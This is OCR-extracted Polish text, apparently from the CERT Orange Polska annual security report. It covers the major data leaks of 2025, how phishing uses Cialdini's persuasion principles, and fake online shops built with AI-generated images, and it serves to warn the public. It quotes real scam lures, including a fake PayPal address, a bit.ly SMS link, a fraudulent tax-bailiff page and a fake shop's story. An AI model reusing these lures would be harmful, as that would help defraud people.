stealeréw jest rodzaj wykradzionych danych. Nie chodzi
juz tylko o login i hasto, lecz czesto o pefen zestaw da-
nych zapamigtanych lokalnie na urzadzeniu uzytkownika.

Jednym z najbardziej komentowanych wydarzen 2025
roku byto ujawnienie w czerwcu ogromnych zbioréw
danych uwierzytelniajgcych, liczacych miliardy rekordéw
uzytkownikéw z catego $wiata. Zawieraty one adresy
e-mail, hasta, a w czesci przypadkéw réwniez tokeny
sesyjne i dodatkowe dane z przegladarek ofiar. Choé
technicznie byty to kompilacje danych pochodzacych

z wielu lat i z réznych Zrédet, ich publikacja oraz dostep-
nos¢ tych zbioréw ukazaty skale problemu ponownego
uzywania haset oraz dtugofalowych skutkéw dawnych
zaniedban w obszarze higieny cyfrowej. Szczegdlnie nie-
pokojacy byt fakt, ze znaczna czes¢ tych danych pozo-
stawata nadal aktualna. Uzytkownicy czesto nie zmieniali
haset przez lata, a te same kombinacje wykorzystywane
byly réwnolegle na wielu portalach. W praktyce oznacza-
fo to, ze nawet stary wyciek mégt prowadzi¢ do przejecia
kont oraz niepowotanego dostepu.

Na szczegdlng uwage zastuguje rowniez incydent
zwigzany z wyciekiem danych biometrycznych. Ujaw-
nienie cyfrowych wzorcow twarzy, odciskéw palcow
czy danych wykorzystywanych w systemach rozpozna-
wania tozsamosci ma charakter fundamentalnie inny
niz klasyczne naruszenia. W przeciwienstwie do hasta
czy numeru karty ptatniczej, czy nawet numeru dowodu
osobistego, biometrii nie da sie zmieni¢ ani uniewaznic.
Raz skompromitowana pozostaje zagrozeniem na cate
zycie uzytkownika, otwierajac droge do naduzy¢ réwniez
w przysztosci, gdyz realnych konsekwencji takiego wy-
cieku nie jesteSmy w stanie na tym etapie przewidziec.

Rok 2025 obfitowat takze w naruszenia u globalnych do-
stawcow ustug masowych — w szczegdlnosci z sektora

ustug chmurowych, sektora panstwowego oraz e-com-
merce. Incydenty te mialy czesto charakter fancuchowy:
pojedyncze naruszenie po stronie dostawcy skutkowato
ujawnieniem danych wielu organizacji i milionéw uzyt-
kownikow koncowych. Szczegdlnie grozne byty sytuacije,
w ktérych wyciek obejmowat nie tylko dane kontakto-
we (np. dane wykorzystywane w systemach CRM), ale
réwniez identyfikatory konkretnych osdb, dane rozlicze-
niowe, czy tez informacje medyczne, ktérych wrazliwosé
znaczaco podnosi poziom ryzyka.

Istotnym elementem globalnego krajobrazu zagrozen
byty réwniez dane pozyskiwane przez ztosliwe oprogra-
mowanie typu stealer. W przeciwienstwie do klasycz-
nych wyciekdéw baz danych, stealery atakujg samych
uzytkownikéw. Dostarczajg przestepcom informacje

0 znacznie wyzszym stopniu aktualnosci i kompletnosci
niz klasyczne wycieki. Obejmuja one nie tylko loginy
czy e-maile i hasta, ale réwniez zapamietane sesje, pliki
cookies, historie przegladania oraz zapisane formularze.
Takie zestawy danych znaczaco zwigkszajg skutecznosé
dalszych atakéw i skracaja czas potrzebny cyberprze-
stepcom na przejecie kontroli nad kontami ofiar, czy tez
probami szantazu.

W rezultacie globalne wycieki danych w 2025 roku prze-
staty by¢ jedynie problemem ,,ilosci”. Coraz wyrazniej
widaé, ze kluczowe znaczenie majg jakos¢ informacji,
ich aktualnos$¢ oraz mozliwos$c¢ tagczenia danych z réz-
nych zrédet w spojne profile uzytkownikow. Skala tego
zjawiska sprawia, ze nie jest to juz wytgcznie problem
technologiczny, lecz wyzwanie systemowe, wptywajgce
na bezpieczenstwo cyfrowe catych spoteczenstw.

Cho¢ opisane zjawiska miaty charakter globalny, ich
konsekwencje byty odczuwalne réwniez na poziomie
krajowym, co znajduje odzwierciedlenie w kolejnej czesci
raportu, poswigconej incydentom dotykajgcym polskich
uzytkownikéw i rodzime organizacije.

Cho¢ Polska nie zawsze znajdowata si¢ w centrum
najwiekszych wyciekéw, dane polskich uzytkownikéw
regularnie pojawiaty sie w ujawnianych zbiorach. Polska
takze w coraz wigkszym stopniu stawata sie celem
operacji o charakterze hybrydowym, w ktérych — w oce-
nie czesci analitykow — wycieki danych stanowity jeden

Granica pomiedzy nowym wyciekiem a ponownym wykorzystaniem
starych danych coraz czesciej sie zaciera. Duza czesé ujawnionych
zbioréow byta efektem korelacji danych z wczesniejszych naruszen,
uzupetnianych o informacje pozyskane z malware typu stealer.



z elementéw oddziatywania informacyjnego oraz préb desta-
bilizacji nastrojéow spotecznych.

W 2025 roku obserwowalismy przypadki ujawnienia danych
z instytucji publicznych oraz firm przetwarzajgcych dane
wrazliwe. Cho¢ liczba rekordéw byta zazwyczaj mniejsza niz
w wyciekach globalnych, obecno$¢ numeréw PESEL czy

dokumentéw tozsamosci znaczaco podnosita poziom ryzyka.

Dane te, po potaczeniu z innymi zrédtami, moga postuzy¢ do
zaawansowanych oszustw, w tym oszustw celowanych, czy
podszywania sie pod ofiary w kontaktach z instytucjami.

Wycieki danych: miedzy masowoscia a utratg kontroli ﬁ

Nie mozna pominac roli ztosliwego oprogramowania
typu stealer, ktérego znaczenie w globalnym krajobrazie
zagrozen zostato opisane wczesniej. Sposoby infekciji
uzytkownikdéw czesto nie majg granic. Narazeni na nie sa
zaréwno zagraniczni uzytkownicy, jak i polscy internauci.
Pozyskiwane w ten sposoéb informacje sg zwykle bardzo
aktualne i dotycza faktycznie uzywanych kont. To wtasnie
one najczesciej trafiajg do obiegu na forach przestep-
czych, a nastepnie sg wykorzystywane do przejmowania
kont spotecznosciowych i bankowych, ktére sa furtkg do
kolejnych atakow.

' Sprawdz, czy Twoje dane nie wyciekly

. i skorzystaj z bezptatnej ustugi Hasto Alert cert.orange.pl/hasloalert. Sprawdzisz,
czy adres e-mail oraz powigzane z nim hasta pojawity sie w znanych wyciekach, co
umozliwi szybkg reakcje i ograniczenie potencjalnych konsekwencji naruszenia.

Globalne wycieki danych w 2025 roku przestaty by¢ jedynie proble-
mem ilosci”. Coraz wyrazniej wida¢, ze kluczowe znaczenie ma
jakos¢ informaciji, ich aktualnosé oraz mozliwos¢ taczenia danych
z roznych zrédet w spdjne profile uzytkownikow.

cert.orange.pl
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Ranking
najwazniejszych
wyciekow

Ponizsze zestawienie prezentuje incydenty, ktére miaty najwiekszy wptyw na bez-
pieczenstwo cyfrowe ze wzgledu na swoja specyfike i wage skradzionych informacii.

Globalna kompilacja danych
uwierzytelniajacych pozyskanych
przez malware typu stealer

Publikacja gigantycznej bazy zawierajgcej ponad
16 miliardow haset i loginéw z réznych lat.
To ,biblioteka”, z ktérej cyberprzestepcy
korzystajg do masowego przejmowania kont oséb uzywajgcych tych
samych haset w wielu serwisach.

Systemy EuroCert

Atak na polskiego dostawce podpisu kwalifikowanego.
Podpis kwalifikowany to cyfrowy odpowiednik
dowodu osobistego. Naruszenie tego systemu uderzyto w fundamenty
e-administraciji i zaufania do dokumentow cyfrowych.

Platforma Sky-shop

Wyciek danych z popularnej platformy obstugujacej
tysigce sklepow internetowych.

Incydent dotknat ogromna liczbe matych
przedsiebiorcow i ich klientéw. Dane (numery telefonéw, adresy)
postuzyty do masowych kampanii phishingowych ,na kuriera”, ktére
w krétkim czasie osiggnety masowa skale.
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Wycieki danych: miedzy masowoscia a utratg kontroli ﬁ

Operacja ,,Cloud Drain”

Co sie stato: Cyberprzestepcy dostali sie do magazynéw danych

w chmurze (Snowflake/Salesforce) poprzez niezabezpieczone konta
administratoréw.

Dlaczego to wazne: Pokazato to, ze dane firmy moga wyciec przez btad
zewnetrznego dostawcy, nawet jesli sama organizacja dba o procedury.

05

Chinski Wyciek Nadzoru Biometrycznego

— dane przypisywane przez badaczy systemom
rozwijanym m.in. przez podmioty, takie jak
SenseTime lub Hikvision

Co sie stato: Wyciek cyfrowych map twarzy i odciskéw palcéw

z systeméw monitoringu.

Dlaczego to wazne: Dane biometryczne sg niezmienne. Raz skradzione
moga by¢ wykorzystywane przeciwko ofierze przez cate jej zycie.

Sektor Energetyczny i Infrastruktura

Co sie stalo: Publikacja wewnetrznych schematéw technicznych

i danych pracownikow polskiej energetyki.

Dlaczego to wazne: To wyciek strategiczny, mogacy postuzyé do
planowania sabotazu fizycznego lub cyfrowego w infrastrukturze
krytycznej panstwa.

cert.orange.pl
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Socjotechnika
w phishingu,

Michat Rosiak

Robert Cialdini, urodzony w 1945 roku profesor Uniwersytetu Stan-
forda. Cztowiek, ktérego osiggniecia w erze internetu maja wptyw na
nas wszystkich — cho¢ znaja go gtéwnie psychologowie i... eksperci
sprzedazy zdalnej. Skad wziagt sie w tym artykule i co ma wspdlnego
z phishingiem?



http://cert.orange.pl

Pojecie regut wplywu spotecznego po raz pierwszy pojawito sie w 1984 roku w bestselle-
rowej ksiazce Roberta Cialdiniego ,Influence: The Psychology of Persuasion” (w Polsce
wydana jako ,,Wywieranie wptywu na ludzi - teoria i praktyka”). Powstaty jako syntetyczny
efekt przeszio dekady pracy naukowej opartej na badaniach empirycznych oraz etnogra-
ficznej pracy w terenie. Cialdini zadat sobie wtedy pytanie:

Dlaczego ludzie mowig ,tak”,
nawet gdy nie powinni?

40 lat pdézniej jego spostrzezenia staty sie fundamentem oszustw w internecie. Ktz by przewidziat takie koleje losu?

Zacznijmy od tego, na czym polegajg wspomniane reguty:

m wzajemnosé: jestesmy ,zaprogramowani” na poziomie
podswiadomosci do odwdzigeczania sie za przystuge,
niezaleznie od jej poziomu;

m zaangazowanie i konsekwencja: im dtuzej/bardziej
jestesmy w cos zaangazowani, tym bardziej nienaturalne
jest dla nas wycofanie sie z tego;

= spoteczny dowdd stusznosci: im wiecej oséb w cos
wierzy/popiera, tym bardziej naturalne/oczywiste nam
sie to wydaje;

m lubienie i sympatia: tatwiej zgadzamy sie z kims, kogo
lubimy, znamy lub do kogo czujemy podobienstwo...

m autorytet: ...a trudniej nam odrzuci¢ uwagi eksperta czy
osoby postrzeganej jako wiarygodne Zrédto;

= niedostepnosé: potencjalna niedostepnos$é zasobu po-
woduje wzrost zainteresowania nim (w tym kontekscie
zasobem jest réwniez czas).

Poswiec teraz chwile i zastandéw sie, w jakich sytu-
acjach w ostatnim czasie kto$ ich uzyt wobec Ciebie?
Moze na stanowisku promocyjnym kto$ zaoferowat Ci
cos drobnego, po czym okazato sie, ze warunkiem za-
brania tej drobnostki jest zakup konkretnego produktu?
A moze trudne mysli dopadty Cie nad wyborczg urng

— czy warto po latach gtosowania na partie 1 tym razem
wybra¢ 2? No i pomysl o Facebooku. Jak czesto uzna-
jesz, ze cos$ jest ciekawe/istotne/wartosciowe, bazujgc
na liczbie polubien?

Lubienie; autorytet. No i na koniec — czy uptywajacy na
ekranie czas do korica promoc;ji jest w stanie zmotywo-
wac Cie do zakupu?

Gdy poznamy zasady wywierania wptywu spotecznego,
okazuje sie, ze to one stojg u podstaw niemal wszystkich
kampanii phishingowych. Jak? Przyjrzyjmy sie konkret-
nym przypadkom zaobserwowanym przez CERT Orange
Polska w 2025 roku.

Na poczatku roku opisywali$my schemat oszustwa,
ktérego celem byli twércy rekodzieta. Intencjg przestep-
cy byto przekonanie ofiary, ze PayPal ,,wymaga pod-
niesienia limitu wptat”, rzekomo z powodu, iz nadawcg
przelewu na kwote 140 € byt uzytkownik biznesowy. Dla
podniesienia limitu trzeba byto tylko wpfaci¢ na podane
konto 200 €, a Paypal miat po chwili wykonaé przelew
zwrotny na 340 €.

Zanim oszust przeszedt do ataku, poswiecit czas na bu-
dowe wzajemnego zaufania.

niedz. 0 13:35

Hello | love the product you made are
they still available for sale can |
purchase directly from you @

niedz. 0 13:54
Are you here

niedz. o 14:.06

Hello. Thank you, that's very nice.
I'm glad you like my work. Yes, |
make crochet toys to order. But |

can only send abroad with
prepayment, if that suits you.

Skontaktowat sie z twdrczynig, skomplementowat jej pra-
ce, wreszcie zdecydowat sie na zakup bez przesadnego
zastanawiania si¢ nad wyborem (bo wszystkie sg piekne)
i nie prébujgc nawet negocjowac kwoty.

Przystuga? Jest — che¢ zakupu produktu za niematg
kwote.


https://cert.orange.pl/aktualnosci/nowy-schemat-oszustwa-na-paypal-celem-tworcy-rekodziela/

Przystuga zwrotna? Masakra z tym PayPalem, bez sensu majg
procedury, wez im przelej i bedzie po sprawie.

Na szczescie niedoszta ofiara zorientowata sie¢ w zamiarze
oszustwa (by¢ moze réwniez dlatego, ze e-mail od rzekomego
PayPala przyszedt z adresu serviceintlpaypalsecurebanking @
gmail.com). Tym razem trik sie nie udat.

W tym przypadku historia z listopada, ktéra zaczeta sie — jak
wiele w ubiegtym roku — od reklamy na Facebooku. Tym razem
na witrynie spotecznosciowego giganta trafiali$my na propo-
zycje zainstalowania aplikacji inwestycyjnej. Z jednej strony juz
same reklamy wality po oczach czerwonymi flagami.

Energia dziatawsze.
Ludzie juz to wiedza.
e
[ORLEN]
Dotaczi Ty.

P Pobierz aplikacje

Nie biecujemy. Dzialamy.

AEIUIRENECD AL
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v
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= DOLACZ TERAZ!

POBIERZ APIIKAEJE B ’ - -

EACZNE SALDO

Your Savings Protector

GWARANTOWANY DOCHOD

Install Now

Install Now

Z drugiej strony dla zwyktego uzytkownika (a takich jest
wiekszos€) fakt, ze docelowa aplikacje Scigga z Google Play,
to flaga zielona. Bo jesli co$ trafito do Google Play, przeszto
tamtejszego ,bramkarza” — znaczy, ze nie robi nic ztego.

L Tp—
' APLIKACIE INWESTYCYINA |NIG ZLEGO, PRAWDAS

*
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imgflip.com

| tak, i nie. Na poziomie, ktéry sprawdzajg mechanizmy bezpie-
czenstwa Google - nie. Dlatego bez problemu trafia do sklepu,
skad mozna jg zainstalowaé. Potem, przez dziert do dwdch dni
nie dzieje sie nic — co usypia czujnos¢ ofiary i moze powodo-
waé wewnetrzne poczucie, ze to byta dobra decyzja.

A skoro mamy juz zaangazowanie — to pora na konsekwen-
cje. Co sie dzieje w sytuacji, gdy zapomnimy o aplikaciji, kt6ra
zainstalowali$my z legalnego miejsca, a ona nie robita nicze-
go ztego? Jest duze prawdopodobieristwo, ze kiedy z takiej
aplikacji przyjdzie nam powiadomienie push, nie wzbudzi w nas
zadnych podejrzen. Klikniemy w nie z petnym zaufaniem, nie
zwrécimy uwagi, ze przenosi na strone zewnetrzna, gdzie
podamy nasze dane. Gdy po 10 minutach zadzwoni do nas
smenedzer konta” — jest duze ryzyko, ze podamy mu nasze
dane, a on przekona nas do wptaty lub zainstalowania ,,aplika-
cji inwestycyjnej”.

Ta socjotechniczna sztuczka to w zasadzie schemat dzia-
tania wszystkich mediéw spotecznosciowych. Co bowiem
jest istotg aktywnosci w social media? Polubienia i dzielenie
sie tresciami. Korzystajac czy to z Facebooka, Twittera,
LinkedlIna, czy innych tego typu serwiséw — nierzadko juz
na poziomie podswiadomosci — bardziej wierzymy tresciom,
z jakimi podjeto wiecej interakcji, badZz osobom, ktére majg
wiecej obserwujacych.

| tu pojawia sie headhunterka z LinkedIna,

Sehar Tayyab [ - 1.

Recruiter at Symphony Talent

6 LUT

B Sehar Tayyab fd - 20:04
Hi, I'm Sehar from Symphony Talent. We noticed

you're o | o' Orange

Polska. We're partnering with brands like LEGO,

Target, Apple & more. They're seeking talent for
similar roles. Are you open to exploring new
opportunities? Let's connect!

Rekruterka z wykupionym LinkedIn Premium. Wyglada rze-
telnie. Przynajmniej na pierwszy rzut oka. Poza tym moéwimy

o serwisie, ktéry w tej grupie zawodowej jest najpopularniejszy
w sieci. Spojrzenie na liste kontaktéw pokazuje ponad 500
0s6b? Renomowane. No dobra - to juz robi wrazenie i dowo-
dzi, ze nie mamy do czynienia z przypadkowg osoba. Ale czy
aby na pewno?


http://cert.orange.pl
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Korzystasz z LinkedIn? Zastanodw sig, jak chetnie ak-
ceptujesz zaproszenia od obcych ludzi? A szczegdlnie
od headhunteréw? O ile przez lata internauci zrozumieli,
by nie akceptowac nieznajomych np. na Facebooku,

o tyle charakterystyka LinkedIn powoduje, ze tu jeste-
$my znacznie mniej ostrozni. Bo kto wie, kiedy bedziemy
musieli szuka¢ pracy? W takiej sytuacji im wieksza grupa
znajomych, tym lepiej!

Dlatego 500+ kontaktéw nie musi wcale oznaczac¢
kogos z faktycznie tak gesta siecig, a jesli chodzi o pra-
ce, to... nikt tego nie sprawdza. LinkedIn nie wymaga
oficjalnego potwierdzenia zatrudnienia przez firme,
dlatego kazdy moze wpisac tam, co chce. | tylko od
firmy zalezy, czy usunie nas z listy ,,pracownikéw”, czy
nie zwrdci na to uwagi.

U wiekszosci internautéw w takiej sytuacji pojawitaby
sie tylko jedna mysl: pisze do mnie rekruterka, musi
by¢ dobra, bo ma setki kontaktéw i pracuje w powaznej
firmie. Tym wiasnie jest spoteczny dowéd stuszno-
$ci. Wnikliwy internauta zauwazytby jednak, ze zdjecie
jest najprawdopodobniej stworzone przez sztucznag
inteligencje, zas osoba z wiedzg w zakresie rekrutacji
wiedziataby np., ze LEGO jest wzorcem transparentno-
$ci, wszystkie ogtoszenia o prace publikuje na swojej
stronie, a sprawdzenie oferty ,,Sehar” dowiodtoby, ze
na witrynie firmy jej nie ma.

A co byto celem ataku? W pewnym momencie ofiara
miata sie zalogowac na podstawiona strone Facebooka.
Biorac pod uwage, ze ,rekruterka” pisata do ekspertéw
od medidow spotecznosciowych, celem bytoby zapewne
wykradzenie dostepu do firmowego fanpage’a.

Mozna zatozyé, ze jesli korzystacie z ustug Orange
Polska, to w jakis sposob lubicie nas, nasza oferte,

a na pewno po prostu nas znacie. Kiedy wiec do-
staniecie SMS-a wygladajgcego jakby przyszedt od
nas, istnieje ryzyko, ze nie sprawdzicie nawet numeru
nadawcy.

Zauwazylismy, ze punkty Orange (5340
punktéw) na Twoim koncie wygasng dzisiaj.
Prosze wymieni¢ swoje punkty na
dostepne nagrody. Wiecej informaciji

znajdziesz na stronie

https:/bit.ly/3DVJ5ve?LoD=DdkSILsRH2
?AeE=RZ5SvEtFRE

By¢ moze nawet nie zastanowicie sig, ze co$ takiego
jak ,punkty Orange” nie istnieje, wiec nie ma co Wam
wygasnag...

Dlatego warto wbi¢ sobie w gtowe, by nie da¢ sie zmy-
li¢ lubieniu i sympatii nawet do najbardziej popularnej
marki. Przede wszystkim upewnijcie sie, czy

w 0gdle macie w danej firmie ustugi. Zdarza sie bo-
wiem, ze ofiary klikaja w podszycie pod firme A, logujac
sie loginem i hastem z serwisu firmy B. Dlaczego to
grozne? Dlatego ze — mimo regularnych ostrzezen —
wielu internautéw wcigz uzywa tego samego hasta

w réznych serwisach, a loginem bardzo czesto jest po
prostu adres e-mail. Oszust, wykradajac hasto, bedzie
sie prébowat zalogowaé tym samym zestawem po-
Swiadczen logowania do réznych serwisow.

m Sprawdzaj, kto przystat Ci SMS-a lub e-maila.

m Gdy wiadomos¢ zawiera link — upewnij sie, czy prowadzi
do prawdziwej strony firmy, a jesli to skracacz (w opisy-
wanej sytuacji link pochodzit z serwisu bit.ly)

— z zatozenia mu nie ufaj.

m Jesli obawiasz sig, ze faktycznie mozesz mie¢ zalegtosci
u swojego ustugodawcy — wejdzZ na jego strone, wpisz
adres, zaloguyj sie i sprawdz to samodzielnie w panelu
klienta.

Reguta niedostepnosci to motyw najczesciej uzywany

- nie tylko przez scamerdw, ale réwniez... marketingow-
céw w sklepach online. Znacie sytuacje, gdy po wejsciu
na strone widzicie oszatamiajgca reklame, z wielkim,
tykajagcym zegarem, pokazujacym, jak mato czasu zostato
Wam na podjecie decyzji? Albo choéby malejgca liczbe
biletéw na koncert? Zasoby zagrozone niedostepnoscig
to nie tylko fizyczne sztuki produktu. Zasobem moze

by¢ réwniez koriczacy sie czas. Dlaczego akurat on jest
w kwestii phishingdw tak istotny?

LANIM DOfRZE

b

Przekaz Kréla Juliana pasuje do tej sytuacji perfekcyjnie.
Na tamach naszej strony regu-
larnie komunikujemy internautom, by niestandardowym
wiadomosciom poswiecali czas odwrotnie proporcjo-
nalnie do tego, co sugeruje nadawca. Jesli ktos pisze,
ze masz o czyms zdecydowacd natychmiast — przeana-
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lizuj e-maila dokfadnie. W opisywanym przez nas przypadku
wzwrotu za fakture z AutoPay” oszusci az tak nie naciskajg
— dajg bowiem ofierze 48 godzin! Licza jednak, ze podswiado-
ma presja pozostanie, podczas gdy odbiorca (w tym przypad-
ku) e-maila ztapie sie na inng socjotechniczna sztuczke. Bo
przeciez nikt nie chce mu zabrac¢ pieniedzy, prawda? Ktos sie
pomylit i chce mu je oddacé. Trzeba sie tylko pospieszy¢, zeby
sie nie okazato, ze nikt nam ich nie odda!

Céz - i tak nikt nam ich nie odda, bo nikt ich (do tej pory) nie
wzigt. Dopiero jesli przekona nas rzekoma niedostepnosé zwia-
zana z presjg czasu i podamy na fatszywej stronie dane naszej
karty ptatniczej, stracimy znacznie wiecej niz prezentowane

w tym konkretnym oszustwie 252 ztote.

Autorytet - kto sie boi komornika?

Z oszustwami podszywajgcymi sie pod serwisy rzagdowe
spotykamy sie regularnie od kilkunastu miesiecy. Do tego
materiatu wybraliSmy ten, ktéry dla wielu moze okazaé sie
najgrozniejszy.

@ nhttps://pit-info.cfd/hiCUB 60% Ty
271 Ministerstwo
% Finans
™ 298

Informujemy, ze w dniu 25 20251 sprawa. cowigze siez

skbadnikow majatku.

Aby uniknge wple

goly p g
Rodzaj podatku Kwota Urzad skarbowy Numer referencyiny

Podatak doch: pIT 27208 PN Krajows Administracja Skarbows PIT/KM210/25
jow i

Razem dozaplaty: 372.98 PLN

Informujemy, ze zgodnic 2 art. 45 ustawy © podatku dochadowym ad oadh fizycznych, padatek wynikajgay z zeznania jeat padatkiem naleznym za dany ok
‘podatkowy, chyba ze wiascivy organ podatkowy wyda decyzie. w kedrej okresli inng wysoko$C padatiu.

Trudno nam bowiem wyobrazi¢ sobie zbyt wielu dorostych
Polakéw, ktérym serce nie zadrzy na widok pisma od komor-
nika! Dotaczmy do tego jeszcze logo Ministerstwa Finansow,
niby delikatne, acz wyraZzne napomkniecie o ryzyku procedury
egzekucyijnej... Wyglada groznie. Na tyle groznie, ze majac
przed oczami stowa ,komornik” i ,egzekucja”, mozna nie zwré-
ci¢ uwagi na to, ze adres strony — cho¢ zawiera ,,PIT” — nie jest
w domenie gov.pl. A potem tylko kod BLIK (co ciekawe, w tym
przypadku nazwa odbiorcy brzmiata podatki.gov.pl!) albo dane
karty ptatniczej trafiajg do ztodziei.

Gdy dotaczymy do tego jeszcze fakt, ze SMS przyszedt

z nadpisu WINDK_GOVPL, autorytet robi sie tak mocny, ze
ryzyko padnigcia ofiara oszustwa znaczaco rosnie. Oczy-
wiscie kolejne nadpisy moga by¢ blokowane na poziomie
krajowym przy uzyciu rzadowego mechanizmu. Nie sposdb
jednak zablokowac¢ wszystkiego, co zawiera GOV, a sieciowi
oszusci bywaja naprawde kreatywni.

Socjotechnika w phishingu

Podsumowanie

cert.orange.pl
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Wykorzystanie
Al do oszustw
w sklepach

Internetowych

Mateusz Ossowski

W pierwszym kwartale minionego roku mogliSmy obserwowa¢ kampa-
nie fatszywych sklepéw internetowych z wykorzystaniem Al do genero-
wania obrazéw i przy zastosowaniu popularnych platform e-commerce
oraz dropshippingu. Kampania bardzo podobnych sklepéw zostata
zaobserwowana w Polsce, Hiszpanii, Portugalii i Holandii.
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Zacznijmy jednak od jej scenariusza. W serwisie Facebook Ciekawostka: jesli nie zawieraty metadanych, to niekiedy

5

mnozyty sie posty sponsorowane, kuszace bardzo duzymi nazwa pliku byt prompt. Na przyktad nazwa ponizszego
przecenami. Rzekome powody sie powtarzaty, a byty to pliku po pobraniu, to: ,a couple in their middle 50s standing
np.: choroba wfasciciela, niska rentownosc, brak czasu lub in front of the store”.
nawet zniszczenie witryny sklepowej przez samochéd.

e B : KRAWIEC WARSZAWA

Niestety, po 15 latach musimy zakonczyé dziatalnosé... ws @@

o,

Po trudnej decyzji musimy niestety zamknaé nasz sklep stacjonarny Krawiec Warszawa.
Coraz mniej klientéw odwiedzato nasz butik, a od miesigcy ponosilismy straty...

Dlatego postanowilismy kontynuowac naszg dziatalno¢ tylko online i wyprzedajemy caty
nasz magazyn z rabatem az 80%.

Oto link do naszego sklepu internetowego: https://krawiec-
warsz i [luz podnie

Dodatkowo niedawno zostatem dziadkiem i chce poswigci¢ wigeej czasu moim wnukom.
Mielismy trudny okres, ale z perspektywy czasu byta to wspaniata podréz! @

Prowadzenie sklepu to ogromne poswiecenie | zaangazowanie - robitem to przez pigtnascie
lat z wielkg pasjg, ale niestety przyszedt czas, aby sig pozegnac...

@ Ostatnie lata byty dla mnie ogromna radoécig i jestem niezwykle wdzigczny wszystkim
naszym kochanym i lojalnym klientom!

To Wasza niepowtarzalna szansa, aby kupi¢ nasze produkty zanim znikng na zawsze —
skorzystajcie z rabatéw, zanim bedzie za pézno!

W celu podniesienia wiarygodnosci fatszywe sklepy zawiera-
ty réwniez zdjecia z brandingiem, np. toreb zakupowych.

Fanpage w serwisie Facebook miat przewaznie po kilka
tysiecy obserwujacych, co zwigkszato jego wiarygodnosc.
WSsréd obserwujacych sg zaréwno prawdziwe, jak i fake’owe
konta. Takie fanpage, a czasami i profile osobiste to tzw.
~Wygrzane strony”. Przejete konta prawdziwych uzytkow-
nikdw lub boty oszukujgce algorytmy antyfraudowe Mety,
ktére mogtyby takie konto usuna¢. Sposdb wyswietlania
postéw sponsorowanych w serwisie Facebook ukrywa
komentarze ostrzegajace przed oszustwem lub wyswietla
tylko pozytywne opinie, co pomaga wprowadzi¢ potencjalne

ofiary w btad. W samym sklepie produkty prezentowane na modelach sa
réwniez wytworem sztucznej inteligencji. Nalezy zwrécic¢
Zdjecia profilowe, tak jak i w galeriach, sg wygenerowane uwage na idealnie powtarzane pozy, a nawet utozenie ubran.

przez Al. Niekiedy sa niespdjne, np. witryna tego samego
sklepu, ktdra rézni sie szczegotami.

VIOLETTA

Do szybkiego zakupu miaty zachecaé duze rabaty, ostatnie

sztuki i promocije za kazdy kolejny towar w koszyku. Proces
. 7R zakupu pozwalat na ptatnos¢ karta lub poprzez BLIK. Sklep

Wizualizacja Al nr 1 i nr 2 tego samego nieistniejacego sklepu. widoczny na transakciji pokrywat sie z jego nazwa.



Wykorzystanie Al do oszustw w internetowych sklepach. Jak to dziata

czy chcesz zaptaci¢
BLIKIEM w intermecie?

kwota przelewu

199,33 PLN

dane odbiorcy
SP Liwia moda
liwiamoda.com

platnosé z rachunku

Daily

pozostato: 0:37

@ sprawdz, czy wszystko sie
zgadza

Jesli wybierzesz ,potwierdzam”,
zgodzisz sie na pobranie
pieniedzy z Twojego konta.

rezygnuje

potwierdzam

Dalej obserwowano kilka scenariuszy. Jednym z nich byt brak
dostawy towaru lub dostarczenie towaru znacznie odbiegaja-
cego jakoscig od towaru ze zdje¢ w sklepie i przede wszystkim
z bardzo dtugim okresem dostawy. Wskazuje to na oszustwo
finansowe i dropshipping.

Jakie byly wspodlne cechy tych sklepow?

Wiele z nich miato zaréwno w nazwie, jak i w domenie nazwe mia-
sta, np.: krawiec-warszawa.com, violettawarszawa.com, mina-
mosawarszawa.com, liwiamoda-krakow.com, gdanskmoda.com.
Kazdy fanpage zawierat zdjecia butikdw, wnetrz, modeli, a takze
brandingu. Wspdlng cecha byty kolorystyka i styl zdjeé. Wskazuje
to na uzywanie podobnych promptéw i szablonowego podejscia
przy generowaniu zdjec.

Wszystkie sklepy postawione byty na platformie Shopify, ktéra
jest bardzo popularna. IIP kieruje nas do Kanady a konkretnie

do serweréw wspomnianej wczesniej platformy Shopify, ktdéra
Swiadczy réwniez ustuge hostingu dla postawionych tam skle-
péw. W niektorych przypadkach wygasniete sklepy kieruja do
marketplace, np. Shop.app, (nalezacego do Shopify), gdzie mo-
zemy znalez¢ spotkane wczesniej produkty, ktoére to kierujg nas
z powrotem do fatszywych sklepéw dziatajacych doktadnie z tym
samym szablonem, mechanizmami i produktami. Ewentualnie
umozliwiajg dokoriczenie zakupu za posrednictwem marketplace
shop.app. Po dodaniu produktéw do koszyka jego finalizacja
odbywa sie w domenie marketplace.

Przewaznie zakup nie wymaga logowania lub rejestracji poza
przypadkami, gdy zakup finalizowany jest z powrotem w platformie
shop.app. Wspdine cechy, ktére dowodzg, ze sg ze sobg powigza-
ne, to btedy. Mozna je podzieli¢ na kilka kategorii. Przede wszystkim
ttumaczenia na jezyk polski, ktdre sg najprawdopodobniej z jezyka
angielskiego. Swiadczg o tym opisy ze strony ,wtascicieli”: ,, Drodzy
Klienci, prowadze maty rodzinny butik w Krakowie razem z moja
corka Oliwia. Z wielka mitoscia wybieram nasze kolekcje stylowa
odziez i osobiste doradztwo, jak w prawdziwej rodzinnej firmie”.

Podobne btedy gramatyczne znajdujemy w stopce: ,Masz
pytania? Prosimy o kontakt z naszym dziatem obstugi klienta za

posrednictwem strony kontaktowej lub bezposrednio przez e-mail
pod adresem: info@liwiamoda.com nasza standardowa odpo-
wiedzia jest 6-12 w potudnie w godzinach otwarcia”.

WSsréd btedéw zwigzanych z ttumaczeniem mozemy znalezé
btedy nie tylko gramatyczne, ale i merytoryczne. Wskazujg one na
brak weryfikacji przy tworzeniu tresci:

¥ Historia Marka i
Andrzeja — Krawiec
Warszawa

Marex. elfisi, obaj malacy =
Krawieo Warszawa. To, o

pracownia 2 kilkoma bolkami matoriads | starg maszyng do szyeia, preoksztaleid sip
w coniony salon mody mgsiie) w sereu Warszawy.

Marek, " \ Kelorow |
detall, Andraei, 2 zawosu krawiec, najczgécie] pracule 2 t silepu — 2awsze 2
miarka, kieds, | szpilkami pod rek.

leh gamitury
i praesiczed, iz sklep.

ko miejsce tysia,
rzemiosie.

Sklepy sg utworzone w bardzo podobnym stylu (graficznym, ikon)
oraz identycznym uktadzie sekcji na stronie gtéwnej i stronach
produktowych.

Wszystkie kuszg promocjami i dodatkowymi rabatami za powiek-
szenie koszyka zakupowego. Zaden ze sklepdw nie miat danych
teleadresowych, za$ w regulaminach, jesli juz, to pojawia sie

ten sam holenderski adres, pod ktérym nie znajdziemy zadnego
